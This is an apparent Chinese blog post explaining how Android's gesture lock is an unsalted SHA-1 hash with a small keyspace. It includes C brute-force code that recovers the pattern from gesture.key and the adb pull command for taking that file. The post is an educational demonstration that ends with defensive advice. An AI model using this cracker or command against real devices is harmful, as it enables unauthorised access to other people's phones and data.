Andriod手势密码破解
★ 引子
之前在Freebuf上看到一片文章讲Andriod的手势密码加密原理,觉得比较有意思,所以就写了一个小程序试试。
★ 原理
Android的手势密码加密原理很简单:
先给屏幕上的每一个点编号(一般是 3 X 3):
00,01,02
03,04,05
06,07,08
注意这里的数字都是十六进制。
假设我沿着左边和下边画了一个 L 字,则手势的点排列顺序 sequence 是 00,03,06,07,08。
然后计算密文 C = SHA-1(sequence),然后将结果写入到 /data/system/gesture.key 中。
按照上面的操作,则密文 C 应该是:c8c0b24a15dc8bbfd411427973574695230458f0,160 bit 的 SHA-1 散列值。
不过严格来讲这个过程不叫加密,叫散列,因为SHA-1只是一个数据摘要算法,并不是加密算法。
★ 破解原理
看到了吧,安卓机的手势加密非常简单,而且非常脆弱。为什么说很脆弱,主要是密钥空间太少!简单计算一下:
手势密码最少要连 4 个点,最多可以连 9 个,忽略掉某些特殊的排列,用排列组合公式计算一下,结果是:(注:P(n, m) 表示从 n 个元素中选 m 个出来排列的情况总数)
P(9, 4) + P(9, 5) + ... ... + P(9, 9) = 985824
满打满算,还不到 100 万,密钥空间实在太少了,对于计算机穷举,那是半秒钟的事。
有了上面的原理,那么破解程序的制作也就很简单了:
1. 一个SHA-1 Hash模块。如果你了解密码学中的 Hash 算法,那么可以自己写,当然也可以去 OpenSSL, Crypto++ 之类的库中去找。
2. 一个计算排列组合的模块。这个是关键,所以我花多点口水讲讲。
注:以下的算法均用 C 实现。
考虑到要用到排列组合,那么我就想到了两个已经知道的东西:
1. 计算 P(n ,m),可以用如下的方式计算:(注:C(n, m) 表示从 n 个元素中选 m 个出来组合的情况总数)
P(n, m) = P(m, m) * C(n, m)
2. 计算 P(m, m) 就是在计算 m 个元素的全排列总数,之前在上算法课的时候有讲到这个算法,那么就可以直接拿过来用。
那么还需要自己构建一个计算组合的算法。
计算全排列 P(m, m):
假设计算集合 {1,2,3} 的全排列,可以这么做:先取一个元素,比如 1,再从剩下的集合 {2,3} 中取 2,那么还剩下 {3}。按照这种搞法,{1,2,3} 的全排列就是:
1 {2, 3} ----> 1,2 {3} 1,3 {2}
2 {1, 3} ----> 2,1 {3} 2,3 {1}
3 {2, 1} ----> 3,2 {1} 3,1 {2}
到此为止,算法的思路已经明确了:依次将集合中的每一个元素和第一个元素交换,然后递归进行计算。下面给出代码:
typedef unsigned char uint8; #define swap(a, b) \
{ \
uint8 t; \
\
t = a; \
a = b; \
b = t; \
} void permute(uint8 *p, int n, int m)
{
int i; if(n == m)
{
for(i = 0; i <= m; i++)
printf("%02X ", p[i]); printf("\n");
}
else
{
for(i = n; i <= m; i++)
{
swap(p[n], p[i]);
permute(p, n + 1, m);
swap(p[n], p[i]);
}
}
}
注:n,m 都是从下标为 0 开始的。
计算组合 C(n, m):
一开始我想了好久都没思路,后来仿照全排列的算法,运用递归的方式搞定。看来分治思想还是很重要的。
假设有集合 {1,2,3,4},要从中选 2 个,列出所有的组合可能,那么可以这么做:
先从集合中取出一个元素,比如取出 1,则剩下 {2,3,4},然后从剩下的集合 {2,3,4} 中取出一个元素,例如取出 2,这时就得到了一种组合情况 1,2,其他情况同理。
{1,2,3,4} ----> 1 {2,3,4} ------> {1,2} {1,3} {1,4}
{2,3,4} --------> 2 {3,4} ---------> {2,3} {3,4}
{3,4} ------------> 3 {4} --------------> {3,4}
可以看出,每次取一个元素,然后对剩余元素进行组合。这样,组合算法的大概思路就有了:
反向从集合中选出一个元素,放到临时数组 q 中,然后递归调用组合算法,直到 m = 1,即只需要选一个元素为止。
void combine(uint8 *p, uint8 *q, int n, int m, int s) // s 为选出来的序列长度
{
int i, j; for(i = n; i >= m; i--)
{
q[m - 1] = p[i - 1]; if(m > 1)
{
combine(p, q, i - 1, m - 1, s);
}
else
{
for(j = 0; j < s; j++)
printf("%02X ", q[j]); printf("\n");
}
}
}
计算排列 P(n, m):
有了前面两个算法,计算 P(n, m) 就变得很简单了,直接把全排列的算法嵌入到组合算法中即可。
★ 破解程序
有了上面的铺垫,编写破解程序就很简单了,下面就直接把代码贴出来。
#define swap(a, b) \
{ \
uint8 t; \
\
t = a; \
a = b; \
b = t; \
} static int crack_permute(uint8 *p, int n, int m, int *ct, const uint8 *md)
{
int i;
uint8 cal_md[SHA1_DIGEST_SIZE]; if(n == m)
{
(*ct)++; sha1_hash(p, m, cal_md); if(memcmp(cal_md, md, SHA1_DIGEST_SIZE) == 0)
{
printf("\nThe gesture found!\n\nThe gesture is :"); for(i = 0; i < m; i++)
printf("%02X ", p[i]); printf("\n\nTry %d times!\n", (*ct)); return 1;
}
}
else
{
for(i = n; i <= m; i++)
{
swap(p[n], p[i]); if(crack_permute(p, n + 1, m, ct, md))
return 1; swap(p[n], p[i]);
}
} return 0;
} static int crack_combine(uint8 *p, uint8 *q, int n, int m, int s, int *ct, const uint8 *md)
{
int i, j;
uint8 r[NUM]; for(i = n; i >= m; i--)
{
q[m - 1] = p[i - 1]; if(m > 1)
{
if(crack_combine(p, q, i - 1, m - 1, s, ct, md))
return 1;
}
else
{
for(j = 0; j < s; j++)
r[j] = q[j]; if(crack_permute(r, 0, s - 1, ct, md))
return 1;
}
} return 0;
} void crack_main(const uint8 *md)
{
int ct, ret;
int m, n;
uint8 q[NUM];
uint8 p[NUM] = {0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08}; ct = 0;
n = NUM; for(m = 4; m <= n; m++)
{
if((ret = crack_combine(p, q, n, m, m, &ct, md)) == 1)
break;
} if(ret == 0)
printf("\nGesture not found!\n");
}
注:ct 是统计尝试的次数,md 是从文件中读到的散列值,NUM 是宏定义:#define NUM 9 。
程序中的SHA-1是我自己写的,函数原型是:void sha1_hash(const uint8 *input, const size_t len, uint8 *digest);
只要 crack_combine 搜索到手势序列,返回 1,搜索结束。
上面的 crack_permute 和 crack_combine 两个函数都是根据前面两个算法改的。程序中,crack_permute 函数被 crack_combine 函数调用,用于计算每一种组合的全排列。在 crack_permute 函数中,调用 SHA-1 摘要算法计算每个手势序列的散列值,然后与传入的 md 进行比较,一旦比较成功则立即返回。
为了避免篇幅太长,上面只列出了部分主要代码,想要全部的话点【这里】。程序的话我没有写文件读取的模块,需要的话可以自己加上去。
★ 总结
安卓手势密码的破解,需要拿到 gesture.key 文件(命令:adb pull /data/system/gesture.key gesture.key),要防范此类攻击,要么手机不要 root,要么 root 了之后不要打开 USB Debug 模式,不过可惜的是很多人对操作系统的权限没有什么概念,总是在最高权限下运行,这样被黑的机率就会高很多 :(
安卓的手势密码之所以能被快速破解,密钥空间小是最主要的原因,所以推广一下,在其他场合下,密码尽量还是设长一点比较保险。如果在编写程序中涉及到密码验证环节,最好使用超慢算法,比如 PBKDF2 或者 bcrypt,这样可以降低暴力破解的速度。
版权声明
原创博文,转载必须包含本声明,保持本文完整,并以超链接形式注明作者Starrybird和本文原始地址:http://www.cnblogs.com/starrybird/p/4418257.html
Andriod手势密码破解的更多相关文章
- 支付宝钱包手势密码破解实战(root过的手机可直接绕过手势密码)
/* 本文章由 莫灰灰 编写,转载请注明出处. 作者:莫灰灰 邮箱: minzhenfei@163.com */ 背景 随着移动互联网的普及以及手机屏幕越做越大等特点,在移动设备上购物.消费已是 ...
- [转载]支付宝钱包手势密码破解实战(root过的手机可直接绕过手势密码)
/* *转自http://blog.csdn.net/hu3167343/article/details/36418063 *本文章由 莫灰灰 编写,转载请注明出处. *作者:莫灰灰 邮箱: m ...
- 对抗密码破解 —— Web 前端慢 Hash
(更新:https://www.cnblogs.com/index-html/p/frontend_kdf.html ) 0x00 前言 天下武功,唯快不破.但在密码学中则不同.算法越快,越容易破. ...
- [基础技能] 安全技术——哈希算法密码破解之彩虹表(Rainbow Table)学习
1.基础知识 刚刚学习过数字签名的相关知识,以及数字签名的伪造技术,而伪造数字签名归根结底就是密码破解的一个过程,然而直接破解的速度是非常缓慢的,所以有人想出一种办法,直接建立出一个数据文件,里面事先 ...
- Word密码破解工具字典攻击用来干什么的
AOPR全称Advanced Office Password Recovery作为一款专业的Word密码破解工具,是通过暴力破解的方式帮助用户迅速恢复各种Word文档的密码,其中常常会用到字典攻击,这 ...
- iOS 教你如何实现手势密码
本次讲的手势密码,是在九个按键上实现的,这里讲的是手势密码的基本实现和效果 同样先上效果图 其实就是对画图功能的一个实现,再加上手势操作结合起来 屏幕宽度高度,方便下面操作,不做解释 #define ...
- Office密码破解工具最好用的是哪款
很多的用户朋友设置密码的office文档一般都含有比较重要的信息.因此,忘记密码在破解的过程中非常重视安全保密性.现在有很多款office密码破解工具,很多的用户朋友不知道用哪一款比较好,其中Adva ...
- 中兴F412光猫超级密码破解、破解用户限制、关闭远程控制、恢复路由器拨号
不少家庭都改了光纤入户,那肯定少不了光猫的吧.今天以中兴F412光猫为例介绍下此型号光猫超级密码的破解方法.一.F412超级密码破解方法1.运行CMD,输入telnet 192.168.1.1: 2. ...
- Kali Linux Web 渗透测试视频教程— 第十三课-密码破解
Kali Linux Web 渗透测试— 第十三课-密码破解 文/玄魂 目录 Kali Linux Web 渗透测试— 第十三课-密码破解............................... ...
随机推荐
- Java---练习(面试题) :字符串截取(1)
在java中,字符串"abcd"与字符串"ab你好"的长度是一样,都是四个字符. 但对应的字节数不同,一个汉字占两个字节. 定义一个方法,按照指定的字节数来取子 ...
- 关于C#中Thread.Join()的一点理解
原文地址:http://www.cnblogs.com/slikyn/articles/1525940.html 今天是第一次在C#中接触Thread,自己研究了一下其中Thread.Join()这个 ...
- 逆向思维Stock Maximize
题目出处 题目描述: 这个题的意思是: 给出一段时间内 某个股票的每天的价格 每天可以进行的操作有:买一股,卖掉所有股,不作为 问在给定的序列里怎样让价值最大 数据规模: 每组数据包含case数 T( ...
- F - True Liars - poj1417(背包+并查集)
题意:有这么一群人,一群好人,和一群坏人,好人永远会说实话,坏人永远说假话,现在给你一组对话和好人与坏人的数目P1, P2. 数据里面的no是A说B是坏人, yes代表A说B是好人,就是这样,问题能不 ...
- weblogic Connection has already been closed解决方法
今天正式环境下的有一个功能报错,看了下weblogic日志,报连接已经关闭. com.ibatis.common.jdbc.exception.NestedSQLException: --- The ...
- sql server 2005中IMAGE类型的BUG问题
目的:在sql server 2005数据库上筛选出那些有照片的员工 由于客户之前的数据库是sql server 2000,定义的photo字段的数据类型为image, 在sql 2005数据库上,用 ...
- Firefox中firebug和xpath checker工具的使用
一直想把自己这段时间做的东西整理下,确迟迟没有动手,现在信息抽取工作已经做的差不多,把自己感觉很好用的两个工具介绍给大家吧! Firefox真是一个好东西,它许多插件.本人是很讨厌插件的,每次电 ...
- View Controller 生命周期的各个方法的用法
(void)awakeFromNib; 这个方法用的时候,outlet还没有连接起来,是view Controller刚从storyboard建的时候,没有完全建好,不过可能有一些事情要在这个方法里面 ...
- Android dp和px之间转换 及 获取坐标
dp.px.sp转换 public class DensityUtil { /** * 将px值转换为dip或dp值,保证尺寸大小不变 * * @param pxValue * @param scal ...
- ceph主要数据结构解析2-Rados.h文件
(1)文件系统id结构:16个字符组成 struct ceph_fsid { unsigned char fsid[16]; }; 以及对应的比较函数: static inline int ceph_ ...